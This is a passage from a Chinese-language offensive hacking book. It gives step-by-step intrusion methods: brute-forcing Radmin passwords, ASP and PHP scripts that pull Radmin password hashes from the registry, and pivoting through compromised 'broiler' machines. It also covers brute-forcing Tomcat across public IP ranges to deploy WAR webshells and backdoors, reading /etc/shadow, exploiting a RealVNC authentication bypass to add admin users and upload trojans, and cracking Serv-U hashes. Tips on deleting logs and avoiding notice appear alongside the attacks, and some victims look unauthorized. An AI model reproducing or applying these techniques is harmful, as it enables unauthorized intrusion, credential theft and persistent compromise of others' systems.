在Radmin客户端管理界面中，选中刚才新建的IP地址192.168.209.130，然后单击右键，在弹出的快捷菜单中选择“Telnet”选项。如果客户端和服务端可以连接，就会立刻出现一个登录窗口，如图7-70所示，要求输入用户名和密码，在此输入先前创建的用户和密码。在登录过程中会显示登录的一些信息，如图7-71所示。

图7-70 Radmin安全验证

图7-71 登录连接信息

Radmin有两种安全验证方式，一种是Radmin的方式，另一种是Windows的方式。当登录验证通过后，就会出现我们熟悉的Telnet界面，如图7-72所示。该界面与DOS界面类似，可以执行各种DOS命令，还可以保存显示的内容到本地文件。

图7-72 使用Telnet

3.文件传输

文件传输，顾名思义，就是文件的上传与下载。Radmin文件传输的使用方式与Telnet方式类似，打开后的初始界面如图7-73所示，单击其中的盘符即可像在资源管理器中一样浏览文件，文件传输的目的地必须是具体的磁盘。通过“Radmin Viewer”窗口，可以在本机和服务端上创建、删除、修改文件。

图7-73 文件传输

4.远程屏幕监控

远程屏幕监控，换句话说就是完全控制服务端计算机。单击工具栏上的第五个图标，或者依次单击“Mode”→“Full Control”选项，即可使用远程屏幕监控。密码验证通过后，如图7-74所示。当使用屏幕控制后，在Radmin主窗口中即可对服务端（被控制计算机）进行各种操作，就像在本地操作计算机一样。

图7-74 远程屏幕监控

5.聊天与发送短消息

相对Radmin强大的控制功能来说，其聊天与发送短消息功能就像是赠品，方便管理员进行管理与交流。依次选择“Mode”→“Chat”选项，如图7-75所示，界面与QQ聊天界面类似。Radmin发送消息就是一个信使。选择需要发送的计算机IP地址，依次选择“Mode”→“Send Message”选项，即可发送短消息，如图7-76所示。当客户端发送后，服务端很快就能收到短消息。

图7-75 通过Radmin聊天

图7-76 发送和接收短消息

6.Intel AMT技术

Radmin 3.2及后续版本提供了Intel AMT技术，声称可以实现冷启动、BIOS远程控制和网络启动。该功能的使用如图7-77所示，选择需要使用该技术的IP地址，并选择相应的功能即可。

图7-77 使用Intel AMT技术

总而言之，Radmin是一款不错的远程管理工具，功能强大，速度也比较快。通过上面的介绍，即使是一个菜鸟也可以很快明白应该如何操作Radmin。赶快动手在自己的虚拟机中搭建一个环境，玩玩“控制与被控制”的游戏吧。

7.8.4 Radmin口令暴力破解

网上基本找不到有关Radmin口令暴力破解的工具。笔者在国外论坛查阅资料时偶然得到了一款有关该软件口令破解的工具。

1.Radmin破解文件分析

我们一起分析一下Radmin破解文件。

（1）文件组成

图7-78 Radmin破解程序密码字典

该暴力破解软件共有4个文件，分别是password.txt、radmin.exe、radmin.nfo、radmincracker.exe。password.txt为密码字典文件，该文件可以手动修改，每个密码为单独一行，使用“记事本”程序打开后，如图7-78所示，其中包含5个密码，第一个密码为空，后面的密码依次是“radmin”、“password”、“letmein”和“admin”，该密码文件即Radmin服务端的连接密码。radmin.exe是服务端管理器，即客户端，通过radmin.exe可以连接Radmin服务端。radmin.nfo是用于查看系统信息的文件，具体功能笔者也不太清楚。radmincracker.exe是Radmin密码破解程序。

注意

在以上文件中，radmin.exe和password.txt的文件名不能更改，否则将导致程序无法运行。

（2）Radmin口令破解命令格式

使用UltraEdit软件直接编辑radmincracker.exe，使用二进制格式查看，radmincracker.exe的命令格式为“radmincracker.exe ip ip ip”，如图7-79所示。在DOS提示符下输入“radmincracker.exe”并运行，也会提示其命令格式。

图7-79 获取Radmin破解程序的具体运行命令

（3）测试环境的搭建

在虚拟机中建立两个Windows XP操作系统（A系统和B系统），在A系统中安装Radmin 2.2，在B系统中将Radmin口令破解软件放到“Tools”文件夹下。A系统的IP地址为192.168.209.130。

2.实际测试

了解Radmin破解文件之后，就可以着手进行实际测试了。

（1）环境测试

测试环境搭建成功后，还需要进行网络连通性测试，即使用ping命令对A系统进行网络测试。将sfind.exe复制到B系统中，使用“sfind -p 192.168.209.130”语句查看A系统中对外端口的开放情况，如果结果中未看到4899端口开放，可能有两个原因：一是被防火墙拦截；二是Radmin软件的安装设置存在问题。可以关闭Windows防火墙或者在防火墙例外列表中添加4899端口为允许端口，然后重启A系统或者在命令提示符下使用“net start r_server”命令启动Radmin服务端。同时，需要设置A系统中Radmin服务端的连接密码为“password”。

（2）口令破解测试

在DOS提示符下输入“radmincracker 192.168.209.130”，按下“回车”键开始破解，如图7-80所示。在DOS提示符下会给出IP地址和密码的列表，当找到匹配的密码后会给出结果，在本例中显示的结果为“192.168.209.130: password successfully opened”。破解成功后，破解程序会自动Telnet被破解的Radmin服务端，也就是说，Radmin客户端是通过Telnet方式连接的。

图7-80 口令破解测试

3.破解后续处理及技巧

Radmincracker破解程序在破解Radmin密码成功后会自动在当前文件夹下生成一个TXT文件，文件以被破解的IP地址命名，如图7-81所示，在该文件中显示格式为“IP地址:密码”。

图7-81 破解结果

Radmin破解技巧

（1）radmincracker.exe破解程序在破解时占用系统资源较多，因此，在破解时密码字典不宜太大，每一次破解密码字典以小于100KB为佳。

（2）破解时最好在服务器上运行破解程序。

（3）在肉机上可以使用一些第三方程序将当前窗口隐藏，隔一段时间查看破解结果文件即可。

（4）破解IP地址不宜设置太多。当Radmin破解成功后会自动Telnet连接其服务端，连接过多会影响网络，需要在线进行处理。

总的来说，这款软件还是不错的，破解难度取决于密码字典的选取。感兴趣的读者可以到安天365论坛（http://www.antian365.com）下载该软件。

7.8.5 Radmin在渗透中的妙用

Radmin在渗透中的妙用主要在提权。在获得Radmin的Hash值后，无须破解Radmin的密码即可正常使用Radmin。

1.利用Radmin提权

很多Web服务器为了管理方便，都会安装一些远程控制软件进行系统和应用程序的维护。当我们通过SQL注入等方式获得WebShell后，一旦发现系统安装了Radmin软件，那么一个比较快捷的方法就是获取Radmin的Hash值和端口等信息，然后通过Radmin_hash客户端连接工具直接连接，从而达到提权的目的。

在Radmin 2.x中，其参数设置信息均保存在注册表“HKEY_LOCAL_MACHINE\ SYSTEM\RAdmin\v2.0\Server\Parameters”键值下，如图7-82所示。

图7-82 Radmin 2.x版本参数在注册表中的保存位置

“Parameter”是默认密码保存值，“Port”是默认端口保存值。而Radmin 3.x更改了加密方式，分为NT用户安全和Radmin安全模式，具体体现在键值上，示例如下。

Radmin安全密码信息的保存位置：HKEY_LOCAL_MACHINE\SOFTWARE\ Radmin\v3.0\ Server\Parameters\RadminSecurity\1。

Radmin安全密码信息的保存位置：HKEY_LOCAL_MACHINE\SOFTWARE\ Radmin\v3.0\Server\Parameters\NtUsers。

在Radmin 3.x中，其密码信息保存在名称为“1”的键值中。由于“1”是数字，因此，目前还没有找到成功通过脚本读取该值的方法。下面介绍如何读取Radmin 2.x中的参数信息。

2.获取Radmin的有关信息

（1）通过radmin.asp获取

将以下代码保存为radmin.asp文件，并将其放在网站目录中。

<%
Set WSH= Server.CreateObject("WSCRIPT.SHELL")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
Parameter="Parameter"
Port = "Port"
path="LogFilePath"
ParameterArray=WSH.REGREAD(RadminPath &amp; Parameter )
Response.write "The Result of Radmin Hash"
Response.write "</br>"
Response.write ""
Response.write Parameter&amp;":"
If IsArray(ParameterArray) Then
For i = 0 To UBound(ParameterArray)
If Len (hex(ParameterArray(i)))=1 Then
strObj = strObj &amp; "0" &amp; CStr(Hex(ParameterArray(i)))
Else
strObj = strObj &amp; Hex(ParameterArray(i))
End If
Next
response.write Lcase(strobj)
Response.write "</br>"
Else
response.write "Error! Can't Read!"
End If
Response.write ""
IF Port<>"" then
PortArray=WSH.REGREAD(RadminPath &amp; Port )

If IsArray(PortArray) Then
Response.write Port &amp;":"
Response.write
hextointer(CStr(Hex(PortArray(1)))&amp;CStr(Hex(PortArray(0))))
Response.write "<br>"
Else
Response.write "Error! Can't Read!"
End If
else
   Response.write "Port is defualt 4899!"
end if
Rpath=WSH.REGREAD(RadminPath &amp; path )
Response.write"日志文件存储地址位："
Response.write Rpath
Response.write "<br>"
Function hextointer(strin)
Dim i, j, k, result
result = 0
For i = 1 To Len(strin)
If Mid(strin, i, 1) = "f" or Mid(strin, i, 1) ="F" Then
j = 15
End If
If Mid(strin, i, 1) = "e" or Mid(strin, i, 1) = "E" Then
j = 14
End If
If Mid(strin, i, 1) = "d" or Mid(strin, i, 1) = "D" Then
j = 13
End If
If Mid(strin, i, 1) = "c" or Mid(strin, i, 1) = "C" Then
j = 12
End If
If Mid(strin, i, 1) = "b" or Mid(strin, i, 1) = "B" Then
j = 11
End If
If Mid(strin, i, 1) = "a" or Mid(strin, i, 1) = "A" Then
j = 10
End If
If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then
j = CInt(Mid(strin, i, 1))
End If
For k = 1 To Len(strin) - i
j = j * 16
Next
result = result + j
Next
hextointer = result
End Function

%>

直接访问该文件，即可读取Radmin的有关信息，如图7-83所示，获取了如下信息。

radmin hash is:2ba5e187e2589be6f80da046aa7e3c：Radmin的密码专用Hash值。

radmin port is:48999：Radmin的默认端口为4899，在本例中修改为“48999”。

radmin log path is:c:\logfile.txt：Radmin日志文件的保存位置和文件名称，在访问后可以将其删除，以免留下痕迹。

图7-83 获取Radmin的有关信息

（2）通过radmin.php获取

服务器可能会使用PHP脚本语言，那么使用radmin.asp文件就无法读取其相关信息了。这时要想读取Radmin的信息，只要将以下代码保存为radmin.php文件即可，方法与保存radmin.asp文件类似，效果如图7- 84所示。

<?php
$shell = new COM("WScript.Shell") or die("This thing requires Windows
Scripting Host");
$rootkey = "HKEY_LOCAL_MACHINE\\SYSTEM\RAdmin\\v2.0\\Server\\Parameters\\";
$Parameter = "Parameter";
$Port = "Port";
$logpath = "LogFilePath";
$myparam = $shell->RegRead($rootkey.$Parameter);
$myport = $shell->RegRead($rootkey.$Port);
$path = $shell->RegRead($rootkey.$logpath);
echo "radmin hash is:";
foreach($myparam as $a){
echo dechex($a);
}
echo "<br>";
echo "radmin port is :".hexdec(dechex($myport[1]).dechex($myport[0])).
"<br>";
echo "radmin log path is:$path<br>";
echo "please clean the log"
?>

图7-84 通过radmin.php获取Radmin参数值

注意

（1）在使用radmin.asp或者radmin.php文件读取服务器中的Radmin参数信息时，有可能会由于权限问题而无法读取。

（2）radmin.asp和radmin.php文件只能用于读取Radmin服务端3.0以下版本，对于Radmin 3.0以上版本的读取无能为力。Radmin 3.x系列是对Radmin 2.x系列的完全升级，注册表、安装程序位置及名称都进行了调整，在同一个系统中，可以同时安装Radmin 2.x和Radmin 3.x。Radmin 3.x版本的有关参数在键值中的位置及名称等信息如图7-85所示。在Radmin 3.x中，其加密方式已经进行了变更，在Ntusers键值下的“1”中保存的值是80位，而在Radmin Security中其数值数据位数更多，达到1 170位，猜测其密码位数为1 024，而多余的位数则可能是用户名称等信息保存的位数。

图7-85 Radmin 3.x参数在注册表中的位置

（3）如果初始安装Radmin未对参数进行设置，则读取的参数信息相对较少。

3.使用Radmin-hash连接工具

使用Radmin-hash工具相对就简单多了。将上面获取的Radmin 32位Hash值、IP地址和端口记下，打开Radmin-hash，新建一个IP地址连接，然后像使用正常的Radmin客户端管理器一样进行操作，如图7-86所示，输入获取的32位Hash值。密码验证通过后即可使用Telnet、屏幕监控及文件传输，如图7-87所示。

图7-86 使用使用Radmin-hash连接工具连接服务端

图7-87 通过Radmin-hash客户端管理服务端

7.8.6 利用Radmin口令进行内网渗透控制

Radmin作为一款强大的远程控制软件，深受管理员喜爱。但是，很多管理员都有一个习惯，就是将Radmin的口令设置为同一个口令。通过键盘记录及Radmin客户端可以很容易和方便地实施内网渗透。

1.查看肉机上的Radmin客户端

在Radmin客户端中，如果需要连接服务端，则必须要建立一个连接，也就是需要一个IP地址和端口号，否则就不能使用。当建立一个连接以后，就会在Radmin客户端中保留以该IP或者指定显示名称的记录。

依次单击“开始”→“程序”→“Remote Administrator v2.2”→“Radmin Viewer”选项，打开Radmin客户端。如果用户曾经使用Radmin客户端管理Radmin服务端，则会在Radmin客户端中显示，如图7-88所示。

图7-88 Radmin客户端中的服务端计算机

2.通过Radmin客户端建立连接

在Radmin客户端中新建一个连接，其IP地址设置为如图7-89所示的地址，端口选择其相应的端口。例如，选择IP地址“192.168.0.15”，根据肉机上Radmin客户端的记录，该地址对应的端口（Port）为“5003”，然后选中“Connect through host”复选框，选择该肉机的Radmin地址。该IP地址（肉机的IP地址）将作为内外网连接的桥梁，如果内网的计算机安装了Radmin服务端，只要拥有该内网计算机的Radmin控制口令，即可实施全面控制。

图7-89 通过肉机的Radmin地址连接内网

3.尝试建立连接

按照以上步骤，依次为肉机Radmin客户端中的内网Radmin服务端计算机创建连接，然后依次选择内网计算机进行连接尝试。在本例中，选择IP地址为192.168.0.11的计算机，在Radmin客户端中选择“屏幕查看”选项，双击进行连接。输入肉机的Radmin控制口令尝试连接，如果内网计算机安装了Radmin服务端，则需要输入密码2次，一次为肉机的Radmin的口令，一次是内网计算机的Radmin口令。输入正确的口令后，才可以执行相应的操作。在本例中，可以看到该内网计算机为监控计算机，如图7-90所示。

图7-90 连接内网计算机

4.通过Telnet查看IP地址

在本例中，肉机有外网IP地址，也有内网IP地址，其内网IP地址为192.168.0.105。当通过肉机连接内网的计算机时，在内网计算机上显示的网络连接为内网的IP地址。“192.168.0.102”为内网中的一台计算机，该计算机上的Radmin服务端开放的端口为5000，在本地Radmin客户端选择“Telnet”选项，然后双击“192.168.0.102”选项，输入密码，进入Telnet管理界面，输入“netstat -an”命令查看网络连接，如图7-91所示，该网络连接中显示的Radmin连接为内网连接。

图7-91 查看网络连接

5.再次实施内网渗透攻击

通过上面的步骤和获取的信息，我们成功测试了2台内网计算机。在该内网计算机上安装ARP挂马软件或者Sniffer软件，可以获取系统中的一些密码。另外，直接通过IE及邮件密码获取软件可以很方便地获取其相应的密码，以便再次进行攻击。

6.小结

本案例通过查看已经控制的肉机的Radmin客户端，对其内网的Radmin服务端进行口令尝试攻击，使用肉机的Radmin口令登录内网计算机上的Radmin服务端，一旦口令正确，则可以完全控制该内网计算机。该方法简单、有效。

7.8.7 利用Radmin口令进行外网渗透控制

利用Radmin口令除了可以进行内网渗透，还可以进行外网渗透，其原理与内网渗透类似，下面通过实际操作进行讲解。

1.查看肉机上的Radmin客户端

依次单击“开始”→“程序”→“Remote Administrator v2.2”→“Radmin Viewer”选项，打开Radmin客户端，在其中可以看到一个“187”标签。选择“187”标签，可以在Radmin客户端界面底部看到其对应的IP地址为“*.*.*182”，端口号为“2100”，控制模式为“Full Control”，如图7-92所示。

2.通过Radmin客户端建立连接并查看远端屏幕

在本地Radmin客户端中新建一个连接，其IP地址设置为“*.*.*182”，端口为“2100”。在Radmin客户端中选择“屏幕监视”选项，输入得到的密码进行尝试，密码验证成功后，即可进入屏幕监视状态，查看远端计算机的屏幕了，如图7-93所示。

图7-92 Radmin客户端中的服务端计算机

图7-93 查看肉机屏幕

3.查看IP地址

在本地Radmin客户端中选中刚才的IP地址，选择“Telnet”选项，进入Telnet操作模式，输入“IPconfig /all”命令查看该计算机的网络配置情况，该计算机的IP地址为独立外网IP地址，如图7-94所示。

图7-94 查看计算机网络情况

技巧

在Radmin客户端连接状态下，如果是Radmin 3.0及以上版本，可以直接通过工具条上的小图标进行功能的切换，不需要每次输入Radmin控制密码。

4.通过Telnet查看外网情况

在本例中，该计算机的IP地址为外网IP地址，可以通过“net view”命令查看附近网络的情况。如图7-95所示，该网络附近还有许多计算机。

图7-95 查看外网情况

5.再次实施外网渗透攻击

再次利用前面的步骤和获取的信息，依次查看网络中开放2100端口的计算机，用已经获取的Radmin口令测试该网络中的外网计算机，成功控制了3台计算机，其中一台为服务器，且疑似为交易服务器，如图7-96所示。

图7-96 再次实施内网渗透

技巧

在写作本案例时，笔者偶然看见以前的一幅截图，里面有18台计算机，均是通过Radmin进行管理的，如图7-97所示。如果在该计算机上安装键盘记录或者Cain等嗅探软件，可以很容易地获取Radmin等软件的账号和密码。管理员一旦形成一种习惯，就会坚持这种习惯，因此，在网络攻防中对细节的收集和利用往往会有一些意想不到的收获！

图7-97 通过Radmin管理网络

6.小结

本例通过查看已经控制的肉机的Radmin客户端，获取其管理员管理其他计算机时所用的Radmin服务端IP地址和端口，并通过获取的Radmin口令对管理员管理的Radmin服务端进行口令尝试攻击，口令正确率在50％左右（即使不正确，还可以通过键盘记录等手段嗅探或者记录管理员在计算机上的操作，从而获取更多的口令和控制更多的外网计算机）。本例方法简单，获取的肉机质量较高。

7.9 通过扫描Tomcat口令渗透Linux服务器

对运行JSP服务器的渗透方法与其他脚本的渗透方法稍有不同，JSP网站一般需要通过WAR文件部署程序，对这类网站的渗透，可以通过暴力破解Tomcat用户密码及MySQL、Oracle数据库密码等方法获取WebShell。本节介绍的Apache Tomcat Crack软件对Tomcat服务器具有较好的暴力破解能力。

7.9.1 使用Apache Tomcat Crack暴力破解Tomcat口令

在起始IP地址中输入“216.84.0.1”，在终止IP地址中输入“216.120.0.1”，单击“添加”按钮，将该地址段添加到扫描地址段中，如图7-98所示，其他使用默认设置。

图7-98 暴力破解Tomcat口令

7.9.2 对扫描结果进行测试

在扫描结果中选择“http://216.86.144.162:8080/manager/html”，然后进行登录测试。如图7-99所示，单击“Tomcat Manager”选项进行登录测试，输入用户名和密码进行登录。

图7-99 对扫描结果进行测试

7.9.3 部署WAR格式的WebShell

进入Tomcat Manager管理后台后，到最下方进行WAR文件的部署。如图7-100所示，单击“浏览”按钮，选择一个WAR格式的WebShell，该WebShell必须是JSP的WebShell，WAR格式可以在压缩时将后缀自定义为“war”。

图7-100 部署WAR格式的WebShell

7.9.4 查看Web部署情况

文件上传成功后，Tomcat会自动部署WAR文件。如图7-101所示，可以看到，在后台多了一个“/Browser”超链接，单击该超链接即可进入部署的文件夹。部署成功后，可以对部署的JSP WebShell进行启用（Start）、停止（Stop）、重载（Reload）和卸载（Undeploy）操作。

图7-101 查看Web部署情况

7.9.5 获取WebShell

在部署时尽量将JSP文件命名为“index.jsp”，这样在部署成功后访问部署的链接即可，否则需要使用“部署文件夹+具体的WebShell名称”才能正确访问WebShell地址，如图7-102所示。

图7-102 获取WebShell

7.9.6 查看用户权限

在WebShell中单击“系统命令”选项，进入执行命令界面。如图7-103所示，在文本框中输入“id”，获取系统当前用户的权限等信息。

图7-103 获取当前用户信息

7.9.7 上传其他WebShell

通过获取的WebShell上传一个Jbrowser的WebShell。使用此WebShell浏览文件非常方便，如图7-104所示。

图7-104 上传WebShell

7.9.8 获取系统加密的用户密码

执行“cat /etc/shadow”命令，获取当前Linux系统中所有用户的加密密码值，如图7-105所示，该密码采用MD5加密，可以通过cmd5.com网站进行破解。

图7-105 获取系统用户密码加密值

7.9.9 获取root用户的历史操作记录

执行“cat /root/.bash_history”命令查看root用户的历史操作记录，只有具有root用户权限才能查看该历史记录文件，如图7-106所示。

图7-106 查看root用户的历史操作记录

7.9.10 查看网站域名情况

使用“www.yougetsignal.com”网站的反查IP域名功能，获取该IP地址的两个域名，分别是“communityaccesssystems.com”和“richardliggitt.com”，如图7-107所示，单击该域名查看域名能否正常访问。

图7-107 查看该网站域名情况

7.9.11 获取网站的真实路径

通过查看“/etc/passwd”文件中的网站用户获取网站的真实路径。通过WebShell定位网站的真实路径，如图7-108所示。在“/etc/passwd”文件中会指定单独的用户作为网站用户，同时会指定该用户的默认目录，该默认目录即为网站的真实路径。

图7-108 获取网站的真实路径

7.9.12 保留WebShell后门

找到网站的真实路径后，继续查看该文件夹下的文件和内容。如图7-109所示，该文件夹为“testphp”，即PHP的测试文件夹，上传一个网页木马或者在源代码中加入一句话后门。

图7-109 网站留后门

7.9.13 小结

本节介绍了如何通过Apache Tomcat Crack暴力破解Tomcat口令，只要知道用户的名称，就能通过字典对目标进行暴力破解。获取Tomcat管理员的用户名和密码后，可以通过WAR文件部署JSP的WebShell，如果设置不当，获取的WebShell权限即为root权限。

7.10 VNC认证口令绕过漏洞攻击

RealVNC（简称VNC）有免费版、个人版及企业版3个版本，它与pcAnywhere远程控制软件的功能类似，也是一款世界知名的跨平台远程控制软件，其4.1.1以前的版本均存在RealVNC远程认证绕过漏洞。

RealVNC采用RFB（远程帧缓冲区）协议允许客户端与服务端协商合适的认证方法，但协议的实现上存在设计错误，远程攻击者可以绕过认证，无须口令实现对服务器的访问。由于其功能强大，因此深受入侵者和网络管理人员的喜爱，国外用户颇多。RealVNC分为客户端和服务器端，只要知道服务端的IP地址、服务开放端口及访问口令即可完全实施控制，其服务端的默认端口为5900。

本案例通过VNC漏洞利用工具直接扫描开放5900端口的计算机，该工具在扫描过程中可以自动识别RealVNC远程认证绕过漏洞，并将扫描结果保存在VNC_bypauth.txt文件中。通过本案例读者可以了解VNC密码验证绕过漏洞，学会如何利用VNC密码验证绕过漏洞利用工具软件溢出存在漏洞的计算机。

7.10.1 扫描开放5900端口的计算机

本案例使用VNC漏洞利用软件扫描开放5900端口的IP地址。在DOS或者DOSShell下输入“vnc”命令后，会给出使用帮助，其命令格式为“vnc -i IPaddress1- IPaddress2 -p 5900 -vnc”。

在本例中，对64.141.178.98-64.255.255.255网段进行扫描的命令为“vnc -i 64.141.178.98-64.255.255.255 -p 5900 -vnc”，如图7-110所示，输入命令后按“回车”键开始扫描。

图7-110 扫描开放5900端口的IP地址

说明

（1）如果是通过Radmin的Telnet来执行扫描命令，只要扫描命令开始运行，即使关掉Telnet也不会影响扫描。VNC会继续在肉机上进行扫描，扫描时会提示扫描的IP地址数、比例及扫描所花费的时间等，如图 7-111所示。

图7-111 扫描情况

（2）vnc.exe扫描完成以后会在当前扫描目录中生成扫描结果文件VNC_bypauth.txt，该文件会记录开放5900端口的IP地址及VNC的状态，如图7-112所示。VNC的状态有patched、banned及VULNERABLE 3种，只有VULNERABLE状态是可以利用的。

图7-112 5900端口的扫描结果

7.10.2 整理开放5900端口的IP地址

使用UltraEdit编辑器编辑VNC_bypauth.txt，过滤存在“:5900 vnc4:VULNERABLE”的IP地址，如图7-113所示。

图7-113 整理IP地址

技巧

使用UltraEdit的“替换”和“清除行后空格”功能可以快速整理扫描后的VNC_bypauth.txt文件。

7.10.3 整理扫描批处理命令

在扫描结果文件VNC_bypauth.txt中替换字符串“:5900 vnc4:VULNERABLE”，并去掉行尾的空格。使用UltraEdit的“块选”功能，在IP地址前面加入link命令，编辑完毕后将文件另存为59-vnc.txt，如图7-114所示。

图7-114 编辑VNC连接批处理命令

说明

在link命令与IP地址之间要留一个空格，否则执行命令时会出现错误。

7.10.4 使用VNC连接器Link进行连接

全部选中并复制59-vnc.txt文件中的所有内容，然后在DOS窗口单击右键，在弹出的快捷菜单中选择“粘贴”命令，执行VNC连接批处理命令，在DOS窗口中会弹出VNC连接成功、VNC连接失败或者要求重新连接的对话框，如图7-115所示。

图7-115 VNC连接结果

7.10.5 处理连接结果

在执行批处理时，由于IP地址限制等原因，可能存在无法正常连接VNC服务器的情况，有时可能需要输入密码。关闭无法连接或者需要密码进行连接的VNC服务端，保留可以直接查看的VNC服务端，如图7-116所示。

图7-116 处理连接结果

技巧

在处理连接的过程中，如果VNC服务端界面中计算机显示为锁定状态，该计算机就需要输入用户名和密码才能使用。不过，可以选中该连接，单击右键，在弹出的快捷菜单中选择“VNC Connection Info”命令，查看该连接的相关信息，等待管理员登录后，在计算机没有锁定时实施控制，如图7-117所示。

图7-117 查看连接信息

7.10.6 实施控制

选择一个屏幕没有锁定的VNC服务端，依次单击“start”→“run”命令，在其中输入“cmd”命令，打开DOS提示符窗口。依次执行添加用户、提升用户为管理员权限及查看管理员组用户命令，如图7-118所示。由于拥有系统安全控制权限，因此在该界面还可以上传木马程序并执行。

图7-118 执行控制命令

注意

使用VNC连接器进行连接时使用的是完全控制模式，因此应当选择用户不在计算机旁时执行命令和实施控制，否则容易被用户当场发现。执行命令时尽量使用批处理命令，执行完毕后可自动退出DOS提示符窗口。

7.10.7 小结

本案例通过扫描5900端口，整理开放并存在VNC密码验证绕过漏洞的IP地址，通过VNC Link直接连接。连接成功后，如果计算机处于未锁定状态或者未进行屏幕保护，则可以直接在该计算机上执行各种命令来实施完全控制。在连接前，可以使用sfind等工具软件对已经扫描出存在漏洞的计算机进行5900端口开放情况探测，仅对开放5900端口的IP地址进行连接，这样效率会更高。

虽然VNC漏洞已经出现了很长时间，但是通过扫描我们发现目前依然有很多VNC存在漏洞的计算机。在安全防护越来越严格的情况下，通过本案例的思路来获取肉机不失为一种好方法。

7.11 Serv-U密码破解

Serv-U是一款流行的FTP服务器，很多Web服务器都是用Serv-U来提供FTP服务，供网站使用者或者设计者上传和下载文件的。Serv-U在Web渗透中经常遇到，在权限等合适的情况下，可以通过WebShell直接获得服务器权限。Serv-U的早期版本采用MD5加密，在获取Serv-U文件夹下的ServUDaemon.ini文件后，可以对FTP用户密码进行破解。Serv-U的加密算法如下。

01 随机产生2个字符。

02 将01步产生的字符串加上需要的密码一起进行MD5加密。

03 将01步中随机产生的2个字符和02步中产生的MD5编码的大写形式的字符组合在一起。

下面以一个实际案例介绍如何破解Serv-U的密码。

7.11.1 获取ServUDaemon.ini文件

Serv-U的安装目录一般位于C:\program files\Serv-U\下，也可能位于其他位置，安装路径由程序安装者决定。在获得WebShell权限的情况下，如果服务器上还安装了Serv-U，只要找到Serv-U的安装目录，将ServUDaemon.ini复制到本地留待后面进行破解即可，如图7-119所示。

图7-119 ServUDaemon.ini文件

7.11.2 查看ServUDaemon.ini文件

配置文件对大小写不敏感，行与行之间允许存在空行，主要分为[GLOBAL]全局变量段和[DOMAINS]域名配置段。[GLOBAL]全局变量段主要用于设置Serv-U的注册号及刷新标志。[DOMAINS]域名配置段中包括在Serv-U下添加的所有域信息及域以下的用户列表。

[GLOBAL]
Version=5.0.0.0        #版本号，无须改动
RegistrationKey=HsVRCjxHMe/HwDOrrUxqeMuChKO0DdlzUy2tCGgcdMVQDs/7P9EdwjKr
owsPF//h4YObIvknAH/FHA95cfEyb3wzQp2v7UfOzCFEFq722  #产品注册码，无须改动
ProcessID=1172         #注册号，无须改动
ReloadSettings=True
#修改ini文件后必须加入此项，这时Serv-U会自动刷新配置文件并生效，此项随之消失。如果再
有修改，则再次添加
[DOMAINS]
Domain1=0.0.0.0||21|Wizard Generated Domain|1|0|0
#无须改动，新增加的域的IP地址及说明，格式
#Domain1= IP地址 | 端口 | 域显示名称 | 是否生效 | 是否显示 | 是否删除
#IP地址为0.0.0.0时，Serv-U自动适配系统所分配的IP地址
#当生效位置0，则此域禁用
#当显示位置0，此域不生效并且在控制面板不显示此项
#当删除位置0，则ReloadSettings设置为“Ture”后，即刷新后，自动删除此域名以下的所有
内容
[Domain1]
#无须改动，与上面添加的域对应，是此域内的一些公共设置
User1=admin|1|0
#必填，用户列表
#格式
#User序号 = 用户名 | 是否生效 | 是否删除
#User添加时必须按照序号排列：如果跳号，则跳号的不生效；如果序号重复，则排列在后的无效
#是否生效置0，则此用户禁用
#是否删除置1，则刷新后删除用户信息，包括配置；置2，则域下所有用户均删除
[USER=admin|1]
#用户配置段，这些段的排列不分先后
TimeOut=600
Maintenance=System
Note1="Administrator User"
Access1=g:\|RWAMELCDP

在Serv-U密码破解中需要注意用户的配置，也就是ServUDaemon.ini文件中涉及用户的9个参数，一个用户对应一套参数配置，具体参数举例如下。

[USER=zt828|1]：表示用户为zt828。

password=mk7DC2A4B1A9A9E1F52A7F967FBCAA0A37：表示FTP用户zt828的密码为“mk7DC2A4B1A9A9E1F52A7F967FBCAA0A37”。

HomeDir=d:\wwwroot\zt828：表示默认主目录为d:\wwwroot\zt828。

MaxNrUsers=10：表示最大用户连接数为10个。

RelPaths=1：表示是否锁定用户到主目录，1表示锁定。

ChangePassword=1：表示是否可以修改密码，1表示可以。

DiskQuota=1|104857600|0：表示磁盘分配大小为100MB（100×1024×1024）。

SpeedLimitUp=102400：表示上传速度限制为100kb/s。

SpeedLimitDown=102400：表示下载速度限制为100kb/s。

Access1=d:\wwwroot\zt828|RL：表示读取和列表d:\wwwroot\zt828目录。

7.11.3 破解Serv-U密码

以上面的zt828用户配置为例，将密码“mk7DC2A4B1A9A9E1F52A7F967FBCAA0A37”中的“mk”去掉，并将其复制到cmd5网站进行破解，如图7-120所示，密码可以被破解，但需要付费。单击“购买”按钮即可获得其查询的MD5值，如图7-121所示。

“7DC2A4B1A9A9E1F52A7F967FBCAA0A37”是采用MD5进行加密的，其密码为“mkok918918”，去掉“mk”后得到FTP的密码“ok918918”。

图7-120 通过cmd网站查询MD5密码

图7-121 获取破解后的密码

7.11.4 验证FTP

使用FTP的IP地址登录，输入用户名“zt828”和密码“ok918918”，即可成功登录FTP服务器。如图7-122所示，正常进入后可以查看网站的源代码、上传WebShell、获取数据库用户名和密码等。

图7-122 成功进入FTP服务器

7.12 使用Cain嗅探FTP密码

使用Cain嗅探FTP密码适用于两种情况。一种情况是因为使用FTP软件时间较长而忘记了FTP的密码，又需要知道FTP的用户名和密码（FTP的用户名是明文，密码则是以多个“*”显示）。另一种情况是在安全检测过程中获取了某FTP完整软件，也就是说，该FTP软件中包含用户使用FTP的账号和密码等信息，只要将整个文件夹复制到本地或者将配置文件复制到本地即可使用。虽然可以通过软件的导入等功能将FTP的账号等信息导入本地FTP软件中使用，但还是不如自己弄个明白。随着FTP软件开发技术的提高，大部分FTP软件的新版本已经屏蔽了使用星号密码查看器查看FTP软件中的账号所对应的密码的机制，这个时候，就只能使用Cain获取FTP密码了。

7.12.1 安装Cain

“Cain”的全称是“Cain & Abel”，最新版本为4.9.56，该公司的网址是http://www. oxid.it，用户可以到该公司的站点下载该软件。下载后按照正常软件的安装流程进行安装。安装结束后，程序会要求用户安装WinPcap抓包软件，安装完毕即可使用。

7.12.2 设置Cain

运行Cain软件，在菜单中选择“Configure”选项，将弹出“Configuration Dialog”对话框，如图7-123所示。在其中选择用于上网的网卡，然后勾选窗口下方的“Start Sniffer on start”和“Start ARP on start”复选框，最后单击“确定”按钮完成设置。

图7-123 设置Cain

7.12.3 开始监听

